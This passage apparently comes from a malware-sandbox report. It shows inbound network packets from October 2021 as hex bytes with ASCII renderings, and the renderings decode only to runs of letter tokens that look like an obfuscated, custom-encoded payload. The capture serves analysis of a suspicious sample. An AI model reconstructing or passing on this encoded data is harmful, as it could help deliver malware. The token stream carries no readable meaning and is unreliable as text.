4f 6b 20 59 4b 20 6f 6b 20 4f 4f 4b 20 6f 4b 20 4f 78 51 20 4b 78 20 59 78 20 45 78 Data Ascii: YK kK OOK OY OxQ QO Yx KQ Yx Ooo kK oE OOt Ox OOo kE Kk QK YK oE OOK oR OxQ x Yx tE Yx Rk kK ot OOt Ox OOo Qx Kk tx YK kK OOK YK OxQ EO Yx RK Yx tQ kK x OOt K OOo kY Kk Qx YK Eo OOK kY OxQ RR Yx x Yx K kK RR OOt tt OOo OYY Kk Ok YK ok OOK oK OxQ Kx Yx Ex
2021-10-29 15:55:36 UTC	1992	IN	Data Raw: 4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 4b 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 52 51 20 6f 59 4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 59 20 78 20 45 6f 20 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 52 51 20 6f 59 4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 Data Ascii: O E OOo OOK kO oYO E OOo Kx YO x x Ox oYK OK E x Eo E x x x oYK OK o x OOK kO oYO E OOo OOK kO oYO E OOo Kx YO x x Ox oYK OK K x Eo K x x x oYK OK o x OOK RQ oYO E OOo OOK kO oYO E OOo Kx YO x x Ox oYK OK Y x Eo Y x x x oYK OK o x OOK RQ oYO E OOo OOK kO
2021-10-29 15:55:36 UTC	2008	IN	Data Raw: 6f 20 59 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 4f 4b 20 74 4b 20 6f 20 4b 20 4f 4f 6f 20 4f 4f 4b 20 6f 6f 51 20 6f 20 4b 20 4f 4f 6f 20 4b 78 20 6f 59 20 78 20 78 20 52 20 4f 4f 4f 20 74 4f 20 78 20 78 20 4f 78 20 4f 4f 4b 20 6f 59 20 51 20 4b 20 4f 4f 6f 20 4f 4f 4f 20 45 4b 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 6f 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 6f 20 78 20 59 74 20 6f 4b 20 78 20 78 20 78 20 45 6f 20 59 4f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 78 20 78 20 59 52 20 45 52 20 45 20 78 20 78 20 78 20 78 20 45 6f 20 59 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 4f 4b 20 59 20 45 20 4b 20 4f 4f 6f 20 4f 4f 4b 20 52 4f 20 45 20 4b 20 4f 4f Data Ascii: o Yx x x x oYK OK E x OOK tK o K OOo OOK ooQ o K OOo Kx oY x x R OOO tO x x Ox OOK oY Q K OOo OOO EK x x Ox oYK OK oo x oYK Oo oo x Yt oK x x x Eo YO x x x oYK OK E x Eo O x x x oYK OK x x YR ER E x x x x Eo YE x x x oYK OK E x OOK Y E K OOo OOK RO E K OO
2021-10-29 15:55:36 UTC	2024	IN	Data Raw: 59 4b 20 6f 20 4f 51 20 6b 20 4f 74 20 6b 20 4b 4b 20 4b 6f 20 78 20 45 6f 20 4f 6b 4b 20 4f 4f 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 4f 74 20 52 20 4b 78 20 4f 45 78 20 78 20 78 20 4f 78 20 4f 4f 4f 20 4f 45 4f 20 78 20 78 20 4f 78 20 6f 6f 20 6f 59 4b 20 4f 20 4f 51 20 51 20 4f 74 20 51 20 4b 4b 20 6b 20 78 20 4f 4f 59 20 6b 6f 20 78 20 78 20 52 20 45 6b 20 78 20 78 20 78 20 6f 6f 6f 20 59 20 45 6b 20 78 20 78 20 6f 6f 6f 20 78 20 78 20 6f 45 20 4f 51 20 4f 78 20 59 52 20 4f 78 78 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 4f 6f 52 20 4f 45 6f 20 78 20 78 20 4f 78 20 4b 78 20 4f 45 45 20 78 20 78 20 4f 78 20 45 6f 20 4f 20 78 20 78 20 78 20 4b 6f 20 4f 6f 52 20 4f 45 6f 20 78 20 78 20 4f 78 20 4b 78 20 4f 45 45 20 78 20 78 20 4f 78 20 Data Ascii: YK o OQ k Ot k KK Ko x Eo OkK OO x x Kx ok x x Ox x Ot R Kx OEx x x Ox OOO OEO x x Ox oo oYK O OQ Q Ot Q KK k x OOY ko x x R Ek x x x ooo Y Ek x x ooo x x oE OQ Ox YR Oxx oYY oYY oYY OoR OEo x x Ox Kx OEE x x Ox Eo O x x x Ko OoR OEo x x Ox Kx OEE x x Ox
2021-10-29 15:55:36 UTC	2040	IN	Data Raw: 52 20 4f 74 20 4f 78 20 6f 74 20 4f 74 20 51 20 45 4f 20 4b 78 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 78 20 6f 6b 20 4f 74 20 51 20 45 4f 20 4b 6b 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 78 20 6f 51 20 4f 74 20 51 20 45 4f 20 59 52 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 78 20 6f 6f 20 4f 74 20 6b 20 45 78 20 4b 78 20 4f 59 4b 20 78 20 78 20 4f 78 20 78 20 4f 74 20 59 20 4f 6f 45 20 45 4f 20 78 20 78 20 4b 20 4f 74 20 52 20 4f 6f 45 20 59 78 20 78 20 78 20 4b 20 4f 4f 78 20 45 78 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 4f 78 20 4f 74 20 6b 20 6f 52 20 4b 78 20 51 6b 20 78 20 78 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 20 52 51 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 20 4f 51 20 45 4b 20 Data Ascii: R Ot Ox ot Ot Q EO Kx Oxx oOx OYR Ot Ox ok Ot Q EO Kk Oxx oOx OYR Ot Ox oQ Ot Q EO YR Oxx oOx OYR Ot Ox oo Ot k Ex Kx OYK x x Ox x Ot Y OoE EO x x K Ot R OoE Yx x x K OOx Ex OxR kk Kx OKt x x Ox Ot k oR Kx Qk x x R OoR Oxk x x Ox Kx RQ x x Ox oYK O OQ EK
2021-10-29 15:55:36 UTC	2056	IN	Data Raw: 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 6b 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 4f 20 4f 74 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 Data Ascii: EO Kk OYt Et EO Ok EO OOO OYt Et Eo Ot x x x EO QQ OYt Et Eo Ot x x x EO YY OYt Et Eo Ot x x x EO Yo OYt Et Eo Ot x x x EO YE OYt Et EO Ot EO OxY OYt Et Eo OR x x x EO Qk OYt Et Eo OR x x x EO Qk OYt Et Eo OR x x x EO KQ OYt Et Eo OR x x x EO Oxx OYt Et
2021-10-29 15:55:36 UTC	2072	IN	Data Raw: 45 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 20 74 6b 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 4f 51 20 4b 6b 20 4b 20 78 20 4f 6f 52 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 51 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 6b 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 6b 20 78 20 78 20 78 20 45 Data Ascii: E EO OOR OYt Et Eo x x x x EO OxO OYt Et Eo x x x x EO Yo OYt Et Eo x x x x EO Qk OYt Et Eo x x x x EO Qk OYt Et oo EO tk OYt OOY OER x x Ox Ko OQ Kk K x OoR O x x E x x Ot EO Q OKO OOY x x O Et Eo k x x x EO YE OYt Et Eo k x x x EO KQ OYt Et Eo k x x x E
2021-10-29 15:55:36 UTC	2079	IN	Data Raw: 20 4f 59 74 20 45 74 20 45 4f 20 45 51 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 4f 20 45 6b 20 45 4f 20 45 6f 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 4f 20 45 74 20 45 4f 20 Data Ascii: OYt Et EO EQ EO QQ OYt Et Eo Ek x x x EO QQ OYt Et Eo Ek x x x EO YE OYt Et Eo Ek x x x EO KQ OYt Et Eo Ek x x x EO YY OYt Et EO Ek EO Eo OYt Et Eo Et x x x EO YK OYt Et Eo Et x x x EO YR OYt Et Eo Et x x x EO YY OYt Et Eo Et x x x EO YY OYt Et EO Et EO
2021-10-29 15:55:36 UTC	2095	IN	Data Raw: 45 74 20 45 4f 20 59 6f 20 45 4f 20 52 59 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 59 4f 20 45 4f 20 45 6f 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 59 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 51 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 4b 51 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 Data Ascii: Et EO Yo EO RY OYt Et Eo YO x x x EO YK OYt Et Eo YO x x x EO OxO OYt Et Eo YO x x x EO YO OYt Et EO YO EO Eo OYt Et Eo Yx x x x EO YE OYt Et Eo Yx x x x EO YO OYt Et Eo Yx x x x EO Qk OYt Et EO Yx EO OxO OYt Et Eo KQ x x x EO KQ OYt Et Eo KQ x x x EO Kk
2021-10-29 15:55:36 UTC	2111	IN	Data Raw: 51 20 4f 59 74 20 45 74 20 45 6f 20 59 6f 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 59 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 4f 20 59 4f 20 45 4f 20 4f 4f 6b 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 4f 20 59 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 51 20 78 20 78 20 78 20 45 Data Ascii: Q OYt Et Eo Yo x x x EO Qk OYt Et EO Yo EO Qt OYt Et Eo YO x x x EO Kk OYt Et Eo YO x x x EO Yt OYt Et Eo YO x x x EO YK OYt Et EO YO EO OOk OYt Et Eo Yx x x x EO Qk OYt Et Eo Yx x x x EO Yt OYt Et Eo Yx x x x EO Yo OYt Et EO Yx EO Qt OYt Et Eo KQ x x x E
2021-10-29 15:55:36 UTC	2127	IN	Data Raw: 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 4f 20 4f 4f 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 78 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 51 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 51 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 4f 20 51 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 6b 20 Data Ascii: x x EO Yo OYt Et Eo OO x x x EO KQ OYt Et EO OO EO Oxk OYt Et Eo Ox x x x EO YK OYt Et Eo Ox x x x EO YO OYt Et Eo Ox x x x EO Qt OYt Et EO Ox EO Oxk OYt Et Eo Q x x x EO KQ OYt Et Eo Q x x x EO Oxo OYt Et Eo Q x x x EO QQ OYt Et EO Q EO Oxx OYt Et Eo k
2021-10-29 15:55:36 UTC	2143	IN	Data Raw: 4b 20 6f 45 51 20 4f 20 78 20 78 20 78 20 6f 6f 20 78 20 52 78 20 6f 6f 20 4f 45 45 20 78 20 4f 20 78 20 4f 52 20 6f 4b 78 20 4f 20 78 20 78 20 78 20 6f 6f 20 78 20 6f 78 45 20 59 51 20 4f 45 45 20 78 20 4f 20 78 20 51 6b 20 4f 6b 78 20 4f 20 78 20 78 20 78 20 4f 45 4f 20 6f 4b 20 4f 51 6f 20 4f 59 20 4f 4f 45 20 78 20 4f 20 78 20 6f 6b 20 6f 4b 4f 20 4f 20 78 20 78 20 78 20 4f 4b 74 20 6b 20 6b 59 20 78 20 4f 4b 59 20 78 20 4f 20 78 20 4f 78 78 20 6f 4b 4f 20 4f 20 78 20 78 20 78 20 4f 4b 74 20 6b 20 51 74 20 45 20 4f 59 78 20 78 20 4f 20 78 20 4f 78 6b 20 4f 6b 78 20 4f 20 78 20 78 20 78 20 4f 4b 74 20 6b 20 4f 4f 74 20 45 20 4f 59 59 20 78 20 4f 20 78 20 4f 4f 74 20 4f 6b 78 20 4f 20 78 20 78 20 78 20 4f 6f 51 20 6b 20 6f 4f 74 20 4f 20 4f 74 59 20 78 Data Ascii: K oEQ O x x x oo x Rx oo OEE x O x OR oKx O x x x oo x oxE YQ OEE x O x Qk Okx O x x x OEO oK OQo OY OOE x O x ok oKO O x x x OKt k kY x OKY x O x Oxx oKO O x x x OKt k Qt E OYx x O x Oxk Okx O x x x OKt k OOt E OYY x O x OOt Okx O x x x OoQ k oOt O OtY x
2021-10-29 15:55:36 UTC	2159	IN	Data Raw: 51 20 78 20 6f 45 52 20 59 20 4f 4f 6b 20 6b 20 51 20 78 20 6f 4b 78 20 59 20 4f 6f 45 20 6b 20 51 20 78 20 6f 4b 4b 20 59 20 4f 6f 6b 20 6b 20 51 20 78 20 6f 4b 6b 20 59 20 4f 45 45 20 6b 20 51 20 78 20 6f 59 6f 20 59 20 4f 45 6b 20 6b 20 51 20 78 20 78 20 52 20 4f 4b 45 20 6b 20 51 20 78 20 4b 20 52 20 4f 4b 6b 20 6b 20 51 20 78 20 6b 20 52 20 4f 59 45 20 6b 20 4b 4f 20 78 20 45 59 20 78 20 4f 6f 20 4f 4f 20 74 45 20 78 20 45 59 20 78 20 4f 6f 20 4f 4f 20 4f 45 4f 20 78 20 4f 4f 20 78 20 4f 51 52 20 4f 78 20 4f 45 4f 20 78 20 4f 51 20 78 20 4b 4b 20 6f 20 4f 45 4f 20 78 20 6f 74 20 78 20 4b 4b 20 6f 20 4f 51 45 20 78 20 6f 74 20 78 20 4b 4b 20 6f 20 4f 51 45 20 78 20 4b 45 20 78 20 6f 74 20 4f 4f 20 45 20 45 20 59 4f 20 78 20 4b 6f 20 4f 4f 20 45 59 20 Data Ascii: Q x oER Y OOk k Q x oKx Y OoE k Q x oKK Y Ook k Q x oKk Y OEE k Q x oYo Y OEk k Q x x R OKE k Q x K R OKk k Q x k R OYE k KO x EY x Oo OO tE x EY x Oo OO OEO x OO x OQR Ox OEO x OQ x KK o OEO x ot x KK o OQE x ot x KK o OQE x KE x ot OO E E YO x Ko OO EY
2021-10-29 15:55:36 UTC	2175	IN	Data Raw: 20 4f 78 4f 20 4f 78 51 20 4f 78 4f 20 4f 4f 78 20 4f 4f 52 20 74 51 20 51 6b 20 4f 78 52 20 4f 78 4f 20 51 51 20 4f 4f 52 20 6b 45 20 4f 78 4f 20 51 74 20 4f 4f 4b 20 51 51 20 4f 78 4b 20 4f 78 4f 20 4f 4f 4b 20 78 20 74 74 20 4f 78 4f 20 4f 4f 59 20 4f 4f 59 20 51 74 20 4f 78 45 20 4f 78 4f 20 6b 45 20 4f 78 51 20 4f 4f 74 20 4f 78 45 20 4f 78 45 20 4f 78 6b 20 4f 78 4f 20 4f 4f 4b 20 78 20 6b 45 20 4f 6f 4f 20 4f 4f 59 20 4f 4f 52 20 4f 78 4f 20 4f 78 51 20 4b 52 20 52 74 20 4f 4f 4f 20 4f 78 78 20 4f 78 4f 20 52 6b 20 4f 4f 4f 20 4f 78 51 20 4b 52 20 52 74 20 4f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 4f 78 59 20 4f 78 6b 20 4f 78 4f 20 4f 4f 4b 20 78 20 52 74 20 6b 45 20 4f 78 4b 20 51 74 20 4f 4f 4b 20 4f 4f 6f 20 6b 45 20 51 51 20 4f 4f 4b 20 4f 78 59 20 Data Ascii: OxO OxQ OxO OOx OOR tQ Qk OxR OxO QQ OOR kE OxO Qt OOK QQ OxK OxO OOK x tt OxO OOY OOY Qt OxE OxO kE OxQ OOt OxE OxE Oxk OxO OOK x kE OoO OOY OOR OxO OxQ KR Rt OOO Oxx OxO Rk OOO OxQ KR Rt OOO OxQ OOo OxY Oxk OxO OOK x Rt kE OxK Qt OOK OOo kE QQ OOK OxY
2021-10-29 15:55:36 UTC	2191	IN	Data Raw: 20 4f 6b 4f 20 4f 74 6b 20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 6b 4f 20 4f 45 45 20 6f 45 52 20 4f 6b 4f 20 4f 45 52 20 6f 45 52 20 4f 6b 4f 20 4f 59 59 20 6f 45 52 20 4f 6b 6f 20 4f 45 4b 20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 6b 4f 20 4f 74 6b 20 6f 45 52 20 4f 6b 4f 20 4f 74 51 20 6f 45 52 20 4f 6b 4f 20 4f 45 4f 20 6f 45 52 20 4f 6b 4f 20 4f 6b 45 20 6f 45 52 20 4f 6b 4f 20 4f 45 6f 20 6f 45 52 20 4f 6b 4f 20 4f 45 4f 20 6f 45 52 20 4f 6b 4f 20 4f 45 6f 20 78 20 6f 45 78 20 4f 51 4f 20 4f 6b 6b 20 6f 45 78 20 4f 51 4f 20 4f 59 74 20 6f 45 78 20 4f 51 4f 20 4f 74 74 20 6f 45 4f 20 4f 6f 6b 20 4f 45 59 20 6f 45 78 20 4f 51 4f 20 4f 6b 78 20 6f 45 4f 20 4f 6f 6b 20 4f 59 4f 20 6f 45 4f 20 Data Ascii: OkO Otk oER OkO OtR oER OkO OtR oER OkO OEE oER OkO OER oER OkO OYY oER Oko OEK oER OkO OtR oER OkO Otk oER OkO OtQ oER OkO OEO oER OkO OkE oER OkO OEo oER OkO OEO oER OkO OEo x oEx OQO Okk oEx OQO OYt oEx OQO Ott oEO Ook OEY oEx OQO Okx oEO Ook OYO oEO
2021-10-29 15:55:36 UTC	2207	IN	Data Raw: 20 4f 45 6f 20 6f 45 6f 20 4f 45 6b 20 4f 59 6b 20 6f 45 6f 20 4f 45 51 20 4f 45 52 20 6f 45 6f 20 4f 45 6b 20 4f 6b 74 20 6f 45 6f 20 4f 45 6b 20 4f 4b 78 20 6f 45 6f 20 4f 45 6b 20 4f 4b 78 20 6f 45 6f 20 4f 45 6b 20 4f 6b 52 20 6f 45 6f 20 4f 45 6b 20 4f 6b 74 20 6f 45 6f 20 4f 45 6b 20 4f 4b 52 20 6f 45 6f 20 4f 45 51 20 4f 4b 4b 20 78 20 6f 45 59 20 4f 45 6b 20 4f 59 6b 20 6f 45 59 20 4f 45 51 20 4f 4b 45 20 6f 45 59 20 4f 45 6b 20 4f 52 78 20 6f 45 59 20 4f 45 6b 20 4f 52 4b 20 6f 45 59 20 4f 45 51 20 4f 4b 6f 20 6f 45 59 20 4f 45 51 20 4f 4b 6f 20 6f 45 59 20 4f 45 6b 20 4f 52 4f 20 6f 45 59 20 4f 45 6b 20 4f 59 74 20 6f 45 59 20 4f 45 6b 20 4f 74 52 20 6f 45 59 20 4f 45 6b 20 4f 74 74 20 6f 45 59 20 4f 45 6b 20 4f 6b 74 20 6f 45 59 20 4f 45 51 20 Data Ascii: OEo oEo OEk OYk oEo OEQ OER oEo OEk Okt oEo OEk OKx oEo OEk OKx oEo OEk OkR oEo OEk Okt oEo OEk OKR oEo OEQ OKK x oEY OEk OYk oEY OEQ OKE oEY OEk ORx oEY OEk ORK oEY OEQ OKo oEY OEQ OKo oEY OEk ORO oEY OEk OYt oEY OEk OtR oEY OEk Ott oEY OEk Okt oEY OEQ
2021-10-29 15:55:36 UTC	2223	IN	Data Raw: 59 4f 20 6f 6f 74 20 4f 6b 4b 20 4f 45 52 20 6f 6f 74 20 4f 6b 45 20 4f 59 6f 20 6f 6f 74 20 4f 6b 45 20 4f 59 45 20 6f 6f 74 20 4f 6b 45 20 4f 59 4b 20 78 20 6f 45 78 20 4f 45 78 20 4f 52 78 20 6f 45 78 20 4f 45 4f 20 4f 4b 52 20 6f 45 78 20 4f 45 4f 20 4f 45 52 20 6f 45 78 20 4f 45 78 20 4f 59 59 20 6f 45 78 20 4f 45 78 20 4f 74 6b 20 6f 45 78 20 4f 45 4f 20 4f 45 51 20 6f 45 78 20 4f 45 4f 20 4f 59 4b 20 6f 45 78 20 4f 45 4f 20 4f 45 6b 20 6f 45 78 20 4f 45 78 20 4f 59 4f 20 6f 45 78 20 4f 45 78 20 4f 59 6f 20 6f 45 78 20 4f 45 78 20 4f 59 4b 20 6f 45 78 20 4f 45 78 20 4f 59 45 20 6f 45 78 20 4f 45 78 20 4f 74 4f 20 6f 45 78 20 4f 45 4f 20 4f 4b 4f 20 6f 45 78 20 4f 45 78 20 4f 59 59 20 78 20 6f 45 59 20 4f 45 6f 20 4f 74 4b 20 6f 45 59 20 4f 45 6f 20 Data Ascii: YO oot OkK OER oot OkE OYo oot OkE OYE oot OkE OYK x oEx OEx ORx oEx OEO OKR oEx OEO OER oEx OEx OYY oEx OEx Otk oEx OEO OEQ oEx OEO OYK oEx OEO OEk oEx OEx OYO oEx OEx OYo oEx OEx OYK oEx OEx OYE oEx OEx OtO oEx OEO OKO oEx OEx OYY x oEY OEo OtK oEY OEo
2021-10-29 15:55:36 UTC	2239	IN	Data Raw: 20 6f 6f 51 20 4f 6b 4f 20 4f 74 74 20 6f 6f 51 20 4f 6b 6f 20 4f 4b 52 20 6f 6f 51 20 4f 6b 4f 20 4f 6b 6f 20 6f 6f 51 20 4f 6b 6f 20 4f 52 4b 20 78 20 6f 45 45 20 4f 6b 74 20 4f 74 6b 20 6f 45 45 20 4f 6b 74 20 4f 6b 59 20 6f 45 45 20 4f 6b 6b 20 4f 6b 6f 20 6f 45 45 20 4f 6b 74 20 4f 6b 4f 20 6f 45 45 20 4f 6b 74 20 4f 6b 6f 20 6f 45 45 20 4f 6b 6b 20 4f 45 51 20 6f 45 45 20 4f 6b 74 20 4f 74 51 20 6f 45 45 20 4f 6b 6b 20 4f 52 59 20 6f 45 45 20 4f 6b 74 20 4f 6b 59 20 6f 45 45 20 4f 6b 74 20 4f 74 6b 20 6f 45 45 20 4f 6b 6b 20 4f 52 52 20 6f 45 45 20 4f 6b 6b 20 4f 52 4b 20 6f 45 45 20 4f 6b 74 20 4f 74 51 20 6f 45 45 20 4f 6b 74 20 4f 6b 78 20 6f 45 45 20 4f 6b 6b 20 4f 52 4b 20 78 20 6f 45 78 20 4f 51 78 20 4f 4b 4b 20 6f 45 78 20 4f 51 78 20 4f 4b Data Ascii: ooQ OkO Ott ooQ Oko OKR ooQ OkO Oko ooQ Oko ORK x oEE Okt Otk oEE Okt OkY oEE Okk Oko oEE Okt OkO oEE Okt Oko oEE Okk OEQ oEE Okt OtQ oEE Okk ORY oEE Okt OkY oEE Okt Otk oEE Okk ORR oEE Okk ORK oEE Okt OtQ oEE Okt Okx oEE Okk ORK x oEx OQx OKK oEx OQx OK
2021-10-29 15:55:36 UTC	2255	IN	Data Raw: 6f 74 20 4f 4b 51 20 4f 6b 45 20 6f 6f 74 20 4f 4b 51 20 4f 51 4f 20 6f 6f 74 20 4f 4b 51 20 4f 6b 6f 20 6f 6f 74 20 4f 59 78 20 4f 74 6b 20 6f 6f 74 20 4f 59 78 20 4f 52 6f 20 6f 6f 74 20 4f 59 78 20 4f 52 4f 20 6f 6f 74 20 4f 59 78 20 4f 74 6b 20 6f 6f 74 20 4f 59 78 20 4f 52 78 20 6f 6f 74 20 4f 59 78 20 4f 4b 78 20 6f 6f 74 20 4f 59 78 20 4f 4b 4f 20 6f 6f 74 20 4f 59 78 20 4f 59 51 20 6f 6f 74 20 4f 59 78 20 4f 52 4b 20 6f 6f 74 20 4f 59 78 20 4f 74 59 20 6f 6f 74 20 4f 4b 51 20 4f 74 59 20 78 20 6f 6f 52 20 4f 59 59 20 4f 45 6f 20 6f 6f 52 20 4f 59 59 20 4f 45 78 20 6f 6f 52 20 4f 59 4b 20 4f 51 4f 20 6f 6f 52 20 4f 59 59 20 4f 74 4b 20 6f 6f 52 20 4f 59 4b 20 4f 6b 51 20 6f 6f 52 20 4f 59 4b 20 4f 51 78 20 6f 6f 52 20 4f 59 4b 20 4f 51 78 20 6f 6f Data Ascii: ot OKQ OkE oot OKQ OQO oot OKQ Oko oot OYx Otk oot OYx ORo oot OYx ORO oot OYx Otk oot OYx ORx oot OYx OKx oot OYx OKO oot OYx OYQ oot OYx ORK oot OYx OtY oot OKQ OtY x ooR OYY OEo ooR OYY OEx ooR OYK OQO ooR OYY OtK ooR OYK OkQ ooR OYK OQx ooR OYK OQx oo
